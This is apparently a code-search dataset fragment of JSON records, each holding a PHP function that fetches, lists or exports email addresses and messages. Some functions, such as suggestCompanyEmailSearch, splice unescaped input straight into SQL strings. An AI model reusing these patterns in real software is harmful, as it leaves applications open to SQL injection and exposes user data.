$pMailingJob);\n if( $aMailingJob['is_error'] != 1 && $aMailingJob['count']!= 0 ){\n $status = $aMailingJob['values'][0]['status'];\n $stDate = array_search('start_date', $aMailingJob['values'][0]);\n $endDate = array_search('end_date', $aMailingJob['values'][0]);\n $not_scheduled = false;\n if($stDate){\n $start_date = CRM_Utils_Date::customFormat($stDate);\n }else{\n $start_date = 'NULL';\n }\n if($endDate){\n $end_date = CRM_Utils_Date::customFormat($endDate);\n }else{\n $end_date = 'NULL';\n }\n }else{\n $status = \"Draft\";\n $start_date = $end_date = 'NULL';\n $not_scheduled = true;\n }\n \n //get change the action link based on the status\n if($not_scheduled){\n $actionUrl = CRM_Utils_System::url( 'civicrm/quickbulkemail', 'mid='.$mailing['id'].'&continue=true&reset=1');\n $actionName = 'Edit';\n }else{\n $actionUrl = CRM_Utils_System::url( 'civicrm/quickbulkemail', 'mid='.$mailing['id'].'&reset=1');\n $actionName = 'Re-Use';\n }\n \n //get scheduled_id and contact name\n if(!empty( $mailing['scheduled_id'] )){\n $scheduled_id = $mailing['scheduled_id'];\n $scheduled_name = self::get_contact_name( $mailing['scheduled_id'] );\n }else{\n $scheduled_id = 'NULL';\n $scheduled_name = 'NULL';\n }\n \n if(empty($mailing['scheduled_date'])) {\n $mailing['scheduled_date'] = NULL;\n }\n \n $action = \"<span><a href='\".$actionUrl.\"'>\".$actionName.\"</a></span>\" ;\n $rows[] = array( 'id' => $mailing['id']\n ,'name' => $mailing['name']\n ,'status' => $status\n ,'created_date' => CRM_Utils_Date::customFormat($mailing['created_date'])\n ,'scheduled' => CRM_Utils_Date::customFormat($mailing['scheduled_date'])\n ,'start' => $start_date\n ,'end' => $end_date\n ,'created_by' => self::get_contact_name( $mailing['created_id'] )\n ,'scheduled_by' => $scheduled_name\n ,'created_id' => $mailing['created_id']\n ,'scheduled_id' => $scheduled_id\n ,'action' => $action\n ); \n }\n return $rows;\n }", "title": "" }, { "docid": "2455df3120e332150e77e9cac861e8cc", "score": "0.6184478", "text": "public function getMailUsers()\n {\n return $this->userRepo->getMailUsers(\\Auth::user()->id);\n }", "title": "" }, { "docid": "b3b2d03a0a3b34131231ad479daf86e6", "score": "0.6178004", "text": "public function findAll()\n {\n return $this->em\n ->getRepository('App:Mail')\n ->findAll()\n ;\n }", "title": "" }, { "docid": "9b7fee56941accccb3fde5a73312c8f0", "score": "0.6145969", "text": "public function getMail();", "title": "" }, { "docid": "f199a495fc03b9af1ab68cd4b809900c", "score": "0.61153287", "text": "function getCoordinatorEmailAll() {\n $sqlQuery = \"SELECT coordinatorEmail FROM congregation_coordinator\";\n $result = $this->DB->executeQuery($sqlQuery, $this->Functions->paramsIsZero(), \"select\");\n if($result) {\n return $result;\n }else {\n return null;\n }\n }", "title": "" }, { "docid": "6f16371c7c3c17d10a01e0b75ca9dc8d", "score": "0.61129963", "text": "public function getUnseenEmails(): array\n {\n $emails = [];\n\n try {\n $imap = $this->loginToInbox();\n\n // We only want the emails we haven't fetched before.\n foreach ($imap->search(['UNSEEN']) as $id) {\n $data = $imap->fetch(['RFC822.HEADER', 'RFC822.TEXT'], $id);\n\n // We need to combine headers and text in order to have a full email.\n $emails[] = InboundEmail::fromMessage($data['RFC822.HEADER'].\"\\r\\n\".$data['RFC822.TEXT']);\n }\n\n $imap->logout();\n } catch (\\Exception $e) {\n // Just log the error and get on with the method execution.\n $this->logger->error($e->getMessage());\n }\n\n return $emails;\n }", "title": "" }, { "docid": "82d1741a5581a32bf7cfa15f4a8f0a8f", "score": "0.61122745", "text": "public function getUserMails()\r\n\t{\r\n\t\t$userDir = __DIR__ . '/../../settings/users';\r\n\t\t\t\t\r\n\t\t/* check if users directory exists */\r\n\t\tif(!is_dir($userDir)){ return array(); }\r\n\t\t\r\n\t\t/* get all user files */\r\n\t\t$users = array_diff(scandir($userDir), array('..', '.'));\r\n\t\t\r\n\t\t$usermails\t= array();\r\n\r\n\t\tforeach($users as $key => $user)\r\n\t\t{\r\n\t\t\tif($user == '.logins'){ continue; }\r\n\r\n\t\t\t$contents \t= file_get_contents($userDir . DIRECTORY_SEPARATOR . $user);\r\n\r\n\t\t\tif($contents === false){ continue; }\r\n\r\n\t\t\t$searchfor \t= 'email:';\r\n\r\n\t\t\t# escape special characters in the query\r\n\t\t\t$pattern \t= preg_quote($searchfor, '/');\r\n\t\t\t\r\n\t\t\t# finalise the regular expression, matching the whole line\r\n\t\t\t$pattern \t= \"/^.*$pattern.*\\$/m\";\r\n\r\n\t\t\t# search, and store first occurence in $matches\r\n\t\t\tif(preg_match($pattern, $contents, $match)){\r\n\t\t\t\t$usermails[] = trim(str_replace(\"email:\", \"\", $match[0]));\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $usermails;\r\n\t}", "title": "" }, { "docid": "7a555564dc298ad5a8465d0c31d57056", "score": "0.611215", "text": "function selectEmails() {\r\n\t\t$query = \"SELECT * FROM emails\";\r\n\t\t$result = mysql_query($query);\r\n\t\t$value = mysql_fetch_assoc($result);\r\n\t\t\r\n\t\treturn $value;\r\n\t}", "title": "" }, { "docid": "f938bea3a99c78278955fa4d294dcb2e", "score": "0.6105179", "text": "public function emails()\n {\n return $this->hasManyThrough(Contact::class, Profile::class)\n ->select([DB::raw('IFNULL(prefix, \"Email\") AS type'), 'value AS url', 'is_primary'])\n ->where('type', 'email');\n }", "title": "" }, { "docid": "8830c3bfb90a4648ed9c9ab6cc3eb665", "score": "0.60949177", "text": "public function getEmails($filters = [])\n {\n $authUser = Auth::user();\n $user = [];\n\n if (!ine($filters, 'users')) {\n $user[] = $authUser->id;\n\t\t} else {\n\t\t\t$user = $filters['users'];\n\t\t\tif($user != 'all') {\n\t\t\t\t$user = (array)$user;\n\t\t\t}\n }\n\n if (ine($filters, 'users') && !$authUser->isAuthority()) {\n $user[] = (array)$authUser->id;\n }\n\n if ((ine($filters, 'customer_id') || ine($filters, 'job_id') || ine($filters, 'stage_code'))) {\n if($authUser->isSubContractorPrime() && isset($filters['users'])) {\n\t\t\t\t$user = (array)$filters['users'];\n\t\t\t} else {\n\t\t\t\t$user = [];\n\t\t\t}\n }\n $filters['users'] = $user;\n $emails = $this->repo->getEmails($filters);\n return $emails;\n }", "title": "" }, { "docid": "f2b9805933af393b01db9a6f532218f5", "score": "0.60821587", "text": "public function getAllIBCEmails() {\n\t\t$dao = $this->getDao(new IBCEmailGen());\n $whereClauseGroup = new WhereClauseGroup(\n\t\t\tarray(\n\t\t\t\tnew WhereClause('module','=', IBCEmailGen::$MODULE_NAME)\n\t\t\t)\n );\n $responses = $dao->getAllWhere($whereClauseGroup);\n return $responses;\n\t}", "title": "" }, { "docid": "3c3bd2d28d54618019fd2ed1fa81ef1c", "score": "0.60747004", "text": "public static function getAllAdminEmails()\n {\n $pdo = static::getDB();\n\n $user_role = User::ROLE_ADMIN;\n\n $sql = \"select email from users where user_role = :email\";\n\n $result = $pdo->prepare($sql);\n \n $result->execute([$user_role]);\n\n return $result->fetchAll(PDO::FETCH_COLUMN, 0); \n }", "title": "" }, { "docid": "1c8a85f5bfbed24c8aedebc65153da2f", "score": "0.60705286", "text": "public function getAllUnreadEmailsSenders()\n {\n $messages = collect(LaravelGmail::message()->unread()->preload()->all());\n $fromList = [];\n\n $messages->each(function ($message) use (&$fromList) {\n $fromList[] = $message->getFrom();\n });\n\n // TODO: can be optimized\n return $this->getUnreadEmailsList($fromList);\n }", "title": "" }, { "docid": "36f07ac14900d7096c2b2a43e617f93d", "score": "0.6056893", "text": "function FetchAdminEmails()\r\n{\r\n\tglobal $connect;\r\n $crud = new Crud($connect);\r\n $row = $crud->select(\"admin_emails\", \"GROUP_CONCAT(Email separator ', ') as AdminEmails\", \"IsActive ='1'\" );\r\n return $row[0][\"AdminEmails\"];\r\n}", "title": "" }, { "docid": "9ed7056a3764838b27ea86bebb56728b", "score": "0.6052789", "text": "public static function getEmails($type, $entry, $update=true, $all=false) {\n $emails = [];\n switch($type) {\n case self::T_USER:\n $user = UserFinder::getById($entry);\n if(!is_null($user)) {\n $emails[] = $user['email'];\n }\n break;\n case self::T_GROUP:\n $group = GroupFinder::getById($entry);\n if(!is_null($group)) {\n $group_emails = $group->getEmails($update, $all);\n // Need to update the group state.\n if($update) {\n $group->store();\n }\n $emails = array_merge($emails, $group_emails);\n }\n break;\n }\n $cfg = new DBConfig();\n if(!count($emails)) {\n $emails[] = $cfg['default_email'];\n }\n\n list($emails) = Hook::call('assignee.emails', [$emails]);\n\n return $emails;\n }", "title": "" }, { "docid": "4a13802a72d2ceb4ab700a63e98d07c4", "score": "0.60427785", "text": "public function getSubscriberEmails() {\n $stmt = $this->pdo->query(\"SELECT email\n FROM subscribers\n \");\n $subscribers = [];\n while ($row = $stmt->fetch(\\PDO::FETCH_ASSOC)) {\n $subscribers[] = $row['email'];\n }\n return $subscribers;\n }", "title": "" }, { "docid": "95a2c91bef692980f6e2ee9c94fa6f4e", "score": "0.60315496", "text": "protected function getEmail($emaill){\n\n $sql = \"SELECT * FROM users WHERE email = ?\"; //selecting from database\n $stmt = $this->connect()->prepare($sql); //istantiate a new statement and utilize $this coz i refer to database class and ask to the database to prepare it\n $stmt->execute([$emaill]);\n\n $result = $stmt->fetchAll();\n return $result; // i put all the the information of the fetch indise result to be able to send it to the users.view.php \n }", "title": "" }, { "docid": "662bc55813f8bf14d8c227e7f8ca632e", "score": "0.60259324", "text": "public function fetchEmails($minimumExpectedMails = 1)\n {\n $this->fetchedEmails = [];\n\n try\n {\n $this->fetchedEmails = $this->_fetchEmailsFromInboxWithRetry($minimumExpectedMails);\n }\n catch(\\Exception $e)\n {\n $this->fail('Exception: ' . $e->getMessage());\n }\n\n // by default, work on all emails\n $this->setCurrentInbox($this->fetchedEmails);\n }", "title": "" }, { "docid": "57fe64a6bedb5c4e6b16445a5dc87c0a", "score": "0.60115147", "text": "public function emails()\n {\n return $this->hasMany(Email::class);\n }", "title": "" }, { "docid": "0327e7edb99980d71919b0c72b56bc8b", "score": "0.6005906", "text": "public function get(): array\n {\n $inbox = $this->connect();\n $emails = imap_search($inbox, $this->FLAG);\n\n if ($emails == false) {\n return [];\n }\n\n $result = [];\n\n foreach ($emails as $mail) {\n $headerInfo = imap_headerinfo($inbox, $mail);\n\n $output = [\n 'subject' => $headerInfo->subject,\n 'to' => $headerInfo->toaddress,\n 'date' => $headerInfo->date,\n 'from' => $this->parseEmail($headerInfo->fromaddress),\n 'reply_to' => $this->parseEmail($headerInfo->reply_toaddress),\n 'flag' => $this->FLAG,\n 'body' => [],\n ];\n\n $emailStructure = imap_fetchstructure($inbox, $mail);\n\n if (!isset($emailStructure->parts)) {\n $output['body'] = imap_body($inbox, $mail, FT_PEEK);\n } else {\n $output['body'] = [];\n $this->extractAttachments($inbox, $mail, $emailStructure, $output['body']);\n }\n\n $result[] = $output;\n }\n\n imap_expunge($inbox);\n imap_close($inbox);\n\n return $result;\n }", "title": "" }, { "docid": "6ceb1d7f02b3b6df458b1acf12ec3a1f", "score": "0.60056996", "text": "public function testFindAdminEmails() {\n\t\t$expected = array(\n\t\t\t'admin' => '[email protected]',\n\t\t\t'asdf' => '[email protected]'\n\t\t);\n\t\t$result = $this->Model->find('adminEmails');\n\t\t$this->assertEquals($expected, $result);\n\t}", "title": "" }, { "docid": "f314fff4873f7e290bdfd7bf3629448b", "score": "0.5994466", "text": "public function scopeGetAllMails()\n {\n\n $gname = Input::get( 'gname' );\n\n $mails = Tolist::findMany( array(\n 'to_id' => Auth::user()->id . '_' . $gname\n ), array(\n 'email'\n ) )->all( 'email' );\n\n return Helper::cleanGroups( $mails, '|' );\n\n }", "title": "" }, { "docid": "a7cc08b83b3330eaf861a29face3e1f1", "score": "0.59935683", "text": "public function getWhoToNotifyByEmail()\n\t{\n\t\t//return array\n\t\t$group = Group::model()->findByPk($this->groupId);\n\t\t$emails = $group->getMembersByStatus(User::STATUS_ACTIVE);\n\t\treturn $emails->data;\n\t}", "title": "" }, { "docid": "d4e4b8aec64c5a306b76a90df0c70a24", "score": "0.59911495", "text": "public function getEmail() {}", "title": "" }, { "docid": "d4e4b8aec64c5a306b76a90df0c70a24", "score": "0.59911495", "text": "public function getEmail() {}", "title": "" }, { "docid": "d4e4b8aec64c5a306b76a90df0c70a24", "score": "0.59911495", "text": "public function getEmail() {}", "title": "" }, { "docid": "d4e4b8aec64c5a306b76a90df0c70a24", "score": "0.59911174", "text": "public function getEmail() {}", "title": "" }, { "docid": "d4e4b8aec64c5a306b76a90df0c70a24", "score": "0.59911174", "text": "public function getEmail() {}", "title": "" }, { "docid": "3c75a65c56ea8cbd241ee844fac73082", "score": "0.5984582", "text": "public function suggestCompanyEmailSearch()\n\t{\n\t\t$emails = array();\n\n\t\t$sql = \" select email,name from company where active = 1 and email > '' and email is not null\";\n\t\t$sql .= \" and (email like '%\" . $this->emailCompany->Text . \"%' \";\n\t\t$sql .= \" or name like '%\" . $this->emailCompany->Text . \"%' )\";\n\n\t\t$result = Dao::getResultsNative($sql);\n\t\tif($result)\n\t\t{\n\t\t\tforeach($result as $rows)\n\t\t\t{\n\t\t\t\t$emails[] = array('id'=> $rows[0], 'email'=> $rows[1].\" - \".$rows[0]);\n\t\t\t}\n\t\t}\n\t\tif(count($emails)==0)\n\t\t{\n\t\t\t$emails[] = array('id'=> 0, 'email'=> 'No emails Found!');\n\t\t}\n\n\t\treturn $emails;\n\t}", "title": "" }, { "docid": "e6de335835d3dd7b7a0692ae6086194a", "score": "0.59801227", "text": "function _simplenews_subscription_list_export_get_emails($states, $subscribed, $newsletters) {\n\n // Build conditions for active state, subscribed state and newsletter selection.\n if (isset($states['active'])) {\n $condition_active[] = 1;\n }\n if (isset($states['inactive'])) {\n $condition_active[] = 0;\n }\n if (isset($subscribed['subscribed'])) {\n $condition_subscribed[] = SIMPLENEWS_SUBSCRIPTION_STATUS_SUBSCRIBED;\n }\n if (isset($subscribed['unsubscribed'])) {\n $condition_subscribed[] = SIMPLENEWS_SUBSCRIPTION_STATUS_UNSUBSCRIBED;\n }\n if (isset($subscribed['unconfirmed'])) {\n $condition_subscribed[] = SIMPLENEWS_SUBSCRIPTION_STATUS_UNCONFIRMED;\n }\n\n // Get emails from the database.\n $query = db_select('simplenews_subscriber', 'ss');\n $query->innerJoin('simplenews_subscription', 'si', 'si.snid = ss.snid');\n $query->fields('ss', array('mail'))\n ->condition('ss.activated', $condition_active)\n ->condition('si.status', $condition_subscribed)\n ->condition('si.newsletter_id', $newsletters)\n ->distinct();\n $mails = $query->execute()->fetchCol(0);\n\n // Return comma separated array of emails or empty text.\n if ($mails) {\n return implode(\", \", $mails);\n }\n return t('No addresses were found.');\n}", "title": "" }, { "docid": "4b3d4b98d5e29957b4c6bf9c64431e93", "score": "0.59663105", "text": "public function findEmailSubscriptions()\n {\n return $this->em\n ->createQueryBuilder('q')\n ->select('s.email')\n ->from('BackendBundle:Subscription', 's')\n ->getQuery()\n ->getResult();\n }", "title": "" }, { "docid": "82c7a1a4b9f8e68db238a664454589d7", "score": "0.59446526", "text": "protected function getRecipientEmails()\n {\n return $this->recipients\n ->map(function($user) {\n return $user->{User::COLUMN_EMAIL};\n })\n ->toArray();\n }", "title": "" }, { "docid": "12a64da9c6ce40852084be784e291576", "score": "0.5939861", "text": "public function actionRetrieveEmail()\n\t{\n\t\tUtilities::updateCallbackURL();\n\t\t$this->render('retrieveEmail');\n\t}", "title": "" }, { "docid": "a5c6888972515c74d1b69834c4a98313", "score": "0.59269875", "text": "function cp_do_view_supplier_emails($adata) {\n\t# Get security vars\n\t\t$_SEC \t= get_security_flags();\n\t\t$_PERMS\t= do_decode_perms_admin($_SEC['_sadmin_perms']);\n\n\t# Dim some Vars:\n\t\tglobal $_CCFG, $_TCFG, $_DBCFG, $db_coin, $_LANG, $_SERVER, $_nl, $_sp;\n\n\t# Get all email addresses for a supplier\n\t\t$sinfo\t= get_contact_supplier_info($adata['s_id']);\n\t\t$s_emails\t= get_contact_supplier_info_alias($adata['s_id'], 1);\n\t\t$x\t\t= sizeof($s_emails);\n\n\t# Set Query parameters for select.\n\t\t$query\t = 'SELECT *';\n\t\t$_from\t = ' FROM '.$_DBCFG['mail_archive'];\n\t\tIF ($_CCFG['_PKG_SAFE_EMAIL_ADDRESS']) {\n\t\t\t$_where\t = ' WHERE '.$_DBCFG['mail_archive'].\".ma_fld_from='\".$sinfo['s_email'].\"'\";\n\t\t\t$_where\t.= ' OR '.$_DBCFG['mail_archive'].\".ma_fld_recip='\".$sinfo['s_email'].\"'\";\n\t\t} ELSE {\n\t\t\t$_where\t = ' WHERE '.$_DBCFG['mail_archive'].\".ma_fld_from LIKE '%<\".$sinfo['s_email'].\">%'\";\n\t\t\t$_where\t.= ' OR '.$_DBCFG['mail_archive'].\".ma_fld_recip LIKE '%<\".$sinfo['s_email'].\">%'\";\n\t\t}\n\t\tIF ($x) {\n\t\t\tFOR ($i=0; $i<=$x; $i++) {\n\t\t\t\tIF ($_CCFG['_PKG_SAFE_EMAIL_ADDRESS']) {\n\t\t\t\t\t$_where\t.= ' OR '.$_DBCFG['mail_archive'].\".ma_fld_from='\".$s_emails[$i]['c_email'].\"'\";\n\t\t\t\t\t$_where\t.= ' OR '.$_DBCFG['mail_archive'].\".ma_fld_recip='\".$s_emails[$i]['c_email'].\"'\";\n\t\t\t\t} ELSE {\n\t\t \t\t\t$_where\t.= ' OR '.$_DBCFG['mail_archive'].\".ma_fld_from LIKE '%<\".$s_emails[$i]['c_email'].\">%'\";\n\t\t\t\t\t$_where\t.= ' OR '.$_DBCFG['mail_archive'].\".ma_fld_recip LIKE '%<\".$s_emails[$i]['c_email'].\">%'\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$_order = ' ORDER BY '.$_DBCFG['mail_archive'].'.ma_time_stamp DESC';\n\n\t\tIF (!$_CCFG['IPL_SUPPLIERS'] > 0) {$_CCFG['IPL_SUPPLIERS'] = 5;}\n\t\t$_limit = ' LIMIT 0, '.$_CCFG['IPL_SUPPLIERS'];\n\n\t# Get count of rows total:\n\t\t$query_ttl = 'SELECT COUNT(*)';\n\t\t$query_ttl .= $_from;\n\t\t$query_ttl .= $_where;\n\t\t$result_ttl\t= $db_coin->db_query_execute($query_ttl);\n\t\twhile(list($cnt) = $db_coin->db_fetch_row($result_ttl)) {$numrows_ttl = $cnt;}\n\n\t# Do select listing records and return check\n\t\t$query\t.= $_from.$_where.$_order.$_limit;\n\t\t$result\t= $db_coin->db_query_execute($query);\n\t\t$numrows\t= $db_coin->db_query_numrows($result);\n\n\t# Build form output\n\t\t$_out .= '<div align=\"center\">'.$_nl;\n\t\t$_out .= '<table width=\"100%\" border=\"0\" bordercolor=\"'.$_TCFG['_TAG_TABLE_BRDR_COLOR'].'\" bgcolor=\"'.$_TCFG['_TAG_TRTD_BKGRND_COLOR'].'\" cellpadding=\"0\" cellspacing=\"1\">'.$_nl;\n\t\t$_out .= '<tr class=\"BLK_DEF_TITLE\"><td class=\"TP3MED_NC\" colspan=\"7\">'.$_nl;\n\n\t\t$_out .= '<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\">'.$_nl;\n\t\t$_out .= '<tr class=\"BLK_IT_TITLE_TXT\">'.$_nl.'<td class=\"TP0MED_NL\">'.$_nl;\n\t\t$_out .= '<b>'.$_LANG['_ADMIN']['l_Email_Archive'];\n\t\t$_out .= ' ('.$numrows.$_sp.$_LANG['_ADMIN']['of'].$_sp.$numrows_ttl.$_sp.$_LANG['_ADMIN']['total_entries'].')</b><br>'.$_nl;\n\t\t$_out .= '</td>'.$_nl.'<td class=\"TP0MED_NR\">'.$_nl;\n\n\t\tIF ($_CCFG['_IS_PRINT'] != 1) {\n\t\t\tIF ($numrows_ttl > $_CCFG['IPL_SUPPLIERS']) {\n\t \t\t\t$_out .= do_nav_link('mod.php?mod=mail&mode=search&sw=archive&search_type=1&s_to='.$sinfo['s_email'].'&s_from='.$sinfo['s_email'], $_TCFG['_S_IMG_VIEW_S'],$_TCFG['_S_IMG_VIEW_S_MO'],'','');\n\t \t\t}\n\t\t\t$_out .= do_nav_link('mod.php?mod=mail&mode=search&sw=archive', $_TCFG['_S_IMG_SEARCH_S'],$_TCFG['_S_IMG_SEARCH_S_MO'],'','');\n\t\t} ELSE {\n\t\t\t$_out .= $_sp;\n\t\t}\n\t\t$_out .= '</td>'.$_nl.'</tr>'.$_nl.'</table>'.$_nl;\n\n\t\t$_out .= '</td></tr>'.$_nl;\n\t\t$_out .= '<tr class=\"BLK_DEF_ENTRY\">'.$_nl;\n\t\t$_out .= '<td class=\"TP3SML_BC\">'.$_LANG['_ADMIN']['l_Id'].'</td>'.$_nl;\n\t\t$_out .= '<td class=\"TP3SML_BC\">'.$_LANG['_ADMIN']['l_Date_Sent'].'</td>'.$_nl;\n\t\t$_out .= '<td class=\"TP3SML_BL\">'.$_LANG['_ADMIN']['l_Subject'].'</td>'.$_nl;\n\t\t$_out .= '<td class=\"TP3SML_BL\">'.$_LANG['_CCFG']['Actions'].'</td>'.$_nl;\n\t\t$_out .= '</tr>'.$_nl;\n\n\t# Process query results\n\t\tIF ($numrows) {\n\t\t\twhile ($row = $db_coin->db_fetch_array($result)) {\n\t\t\t\t$_out .= '<tr class=\"BLK_DEF_ENTRY\">'.$_nl;\n\t\t\t\t$_out .= '<td class=\"TP3SML_NC\">'.$row['ma_id'].'</td>'.$_nl;\n\t\t\t\t$_out .= '<td class=\"TP3SML_NC\">'.dt_make_datetime($row['ma_time_stamp'], $_CCFG['_PKG_DATE_FORMAT_SHORT_DT'] ).'</td>'.$_nl;\n\t\t\t\t$_out .= '<td class=\"TP3SML_NL\">'.htmlspecialchars($row['ma_fld_subject']).'</td>'.$_nl;\n\t\t\t\t$_out .= '<td class=\"TP3SML_NL\"><nobr>'.$_nl;\n\t\t\t\tIF ($_CCFG['_IS_PRINT'] != 1) {\n\t\t\t\t\t$_out .= do_nav_link('mod.php?mod=mail&mode=resend&obj=arch&ma_id='.$row['ma_id'], $_TCFG['_S_IMG_EMAIL_S'],$_TCFG['_S_IMG_EMAIL_S_MO'],'','');\n\t\t\t\t\t$_out .= do_nav_link('mod.php?mod=mail&mode=view&obj=arch&ma_id='.$row['ma_id'].'&_suser_id='.$adata['_suser_id'], $_TCFG['_S_IMG_VIEW_S'],$_TCFG['_S_IMG_VIEW_S_MO'],'','');\n\t\t\t\t\t$_out .= do_nav_link('mod_print.php?mod=mail&mode=view&obj=arch&ma_id='.$row['ma_id'], $_TCFG['_S_IMG_PRINT_S'],$_TCFG['_S_IMG_PRINT_S_MO'],'_new','');\n\t\t\t\t\tIF ($_PERMS['AP16'] == 1 || $_PERMS['AP05'] == 1) {\n\t\t\t\t\t\t$_out .= do_nav_link('mod.php?mod=mail&mode=delete&obj=arch&stage=2&ma_id='.$row['ma_id'], $_TCFG['_S_IMG_DEL_S'],$_TCFG['_S_IMG_DEL_S_MO'],'','');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$_out .= '</nobr></td>'.$_nl;\n\t\t\t\t$_out .= '</tr>'.$_nl;\n\t\t\t}\n\t\t}\n\n\t\t$_out .= '</table>'.$_nl;\n\t\t$_out .= '</div>'.$_nl;\n\t\t$_out .= '<br>'.$_nl;\n\n\t# Return results\n\t\treturn $_out;\n}", "title": "" }, { "docid": "0a632ed6c61e343bfc209a98268cefd7", "score": "0.591824", "text": "abstract function getEmailsArray() : array;", "title": "" }, { "docid": "dfe7bee103f756ed26dd503b030fa922", "score": "0.5908249", "text": "public function getEmailAddresses()\n {\n return isset($this->EmailAddresses) ? $this->EmailAddresses : null;\n }", "title": "" }, { "docid": "11afa9c0a7d2eb7d2396f5b5bd6a5e53", "score": "0.59050417", "text": "public function testMailAssume()\n {\n $asserts = array();\n\n foreach ($this->messages as $id => $message) {\n $asserts[$id] = array();\n\n $asserts[$id]['id'] = $id;\n\n $asserts[$id]['folder'] = $this->createZendImapStorageFolder();\n $asserts[$id]['subject'] = $message['subject'];\n $asserts[$id]['received'] = strtotime($message['date']);\n $asserts[$id]['plainText'] = $message['plainText'];\n $asserts[$id]['attachments'] = null;\n $asserts[$id]['type'] = $message['type'];\n $asserts[$id]['domainName'] = $message['domainName'];\n $asserts[$id]['orderNumber'] = $message['orderNumber'];\n }\n\n $imapAdapter = $this->createImapAdpater();\n\n $imapAdapter\n ->expects($this->any())\n ->method('search')\n ->will($this->returnValue(array_keys($this->messages)));\n\n $testClass = $this;\n\n $imapAdapter\n ->expects($this->any())\n ->method('getMessage')\n ->will($this->returnCallback(function ($id) use ($testClass) {\n return $testClass->createImapStorageMessage($id);\n }));\n\n\n $messages = $this->imapHelper->fetchMails($imapAdapter, array(), null, null, true, true);\n\n $this->assertEquals($asserts, $messages);\n }", "title": "" }, { "docid": "b9231e149800ef451768f541be70aa6a", "score": "0.5902102", "text": "protected function getListOfAdditionalEmailsUsingGETRequest()\n {\n\n $resourcePath = '/account/additional-emails/';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n\n // body params\n $_tempBody = null;\n\n if ($multipart) {\n $headers = $this->headerSelector->selectHeadersForMultipart(\n ['application/vnd.allegro.public.v1+json', '*/*']\n );\n } else {\n $headers = $this->headerSelector->selectHeaders(\n ['application/vnd.allegro.public.v1+json', '*/*'],\n []\n );\n }\n\n // for model (json/xml)\n if (isset($_tempBody)) {\n // $_tempBody is the method argument, if present\n if ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode(ObjectSerializer::sanitizeForSerialization($_tempBody));\n } else {\n $httpBody = $_tempBody;\n }\n } elseif (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValue\n ];\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($formParams);\n\n } else {\n // for HTTP post (form)\n $httpBody = \\GuzzleHttp\\Psr7\\build_query($formParams);\n }\n }\n\n // this endpoint requires OAuth (access token)\n if ($this->config->getAccessToken() !== null) {\n $headers['Authorization'] = 'Bearer ' . $this->config->getAccessToken();\n }\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $query = \\GuzzleHttp\\Psr7\\build_query($queryParams);\n return new Request(\n 'GET',\n $this->config->getHost() . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }", "title": "" }, { "docid": "6ce123c57f0033a6dccfa5ce44b7dcef", "score": "0.5891643", "text": "public function getAllVoicemail()\n {\n return $this->_getAndParse($this->_serverPath['voicemail'], null);\n }", "title": "" }, { "docid": "1fd937ba47e275ade85da44a0cb8abfd", "score": "0.58887863", "text": "function api_email_updates() {\n\t$rv = array(\"status\" => true);\n\t\n\t$query = \"SELECT `created_date` FROM `events` WHERE `type`='email' ORDER BY `created_date` DESC LIMIT 1\";\n\t$result = db_query($query);\n\t\n\tif (db_num_rows($result) > 0) {\n\t\t$row = db_fetch_assoc($result);\n\t\t\n\t\t$query = \"SELECT * FROM `events` WHERE `created_date` > '\".db_escape($row[\"created_date\"]).\"'\";\n\t}\n\telse {\n\t\t$query = \"SELECT * FROM `events`\";\n\t}\n\t\n\t$query .= \" GROUP BY `type`, `key` ORDER BY `created_date` ASC\";\n\t$result = db_query($query);\n\t\n\tif (db_num_rows($result) > 0) {\n\t\t$e = new Event();\n\t\t$e->type = \"email\";\n\t\t$e->user_id = sess_id();\n\t\t$e->save();\n\t\n\t\t$emails = array();\n\t\n\t\twhile ($row = db_fetch_assoc($result)) {\n\t\t\t$meta = json_decode($row[\"meta\"]);\n\t\t\t\n\t\t\tswitch ($row[\"type\"]) {\n\t\t\t\tcase \"extension:insert\":\n\t\t\t\t\t// Alert anyone who asked for notifications on all new extensions\n\t\t\t\t\t// except for the user who uploaded it.\n\t\t\t\t\t$user_query = \"SELECT * FROM `users` WHERE `email_preferences` & \".db_escape(User::$EMAIL_FLAG_EXTENSION_INSERT).\" AND `id` <> '\".db_escape($row[\"user_id\"]).\"'\";\n\t\t\t\t\t$user_result = db_query($user_query);\n\t\t\t\t\t\n\t\t\t\t\twhile ($user_row = db_fetch_assoc($user_result)) {\n\t\t\t\t\t\t$emails[$user_row[\"id\"]][$row[\"type\"]][] = $meta;\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t\tcase \"extension:update\":\n\t\t\t\t\t// Alert anyone who asked for notifications on extension updates\n\t\t\t\t\t// when they've contributed to a locale.\n\t\t\t\t\t$user_query = \"SELECT \n\t\t\t\t\t\t\t`u`.*\n\t\t\t\t\t\tFROM `users` `u`\n\t\t\t\t\t\t\tLEFT JOIN `message_history` `mh` ON `u`.`id`=`mh`.`user_id`\n\t\t\t\t\t\t\tLEFT JOIN `message_index` `mi` ON `mh`.`message_index_id`=`mi`.`id`\n\t\t\t\t\t\tWHERE `mi`.`extension_id`='\".db_escape($meta->extension_id).\"'\n\t\t\t\t\t\t\tAND `u`.`id` <> '\".db_escape($row[\"user_id\"]).\"'\n\t\t\t\t\t\t\tAND `email_preferences` & \".db_escape(User::$EMAIL_FLAG_EXTENSION_UPDATE).\"\n\t\t\t\t\t\tGROUP BY `u`.`id`\";\n\t\t\t\t\t$user_result = db_query($user_query);\n\t\t\t\t\n\t\t\t\t\twhile ($user_row = db_fetch_assoc($user_result)) {\n\t\t\t\t\t\t$emails[$user_row[\"id\"]][$row[\"type\"]][] = 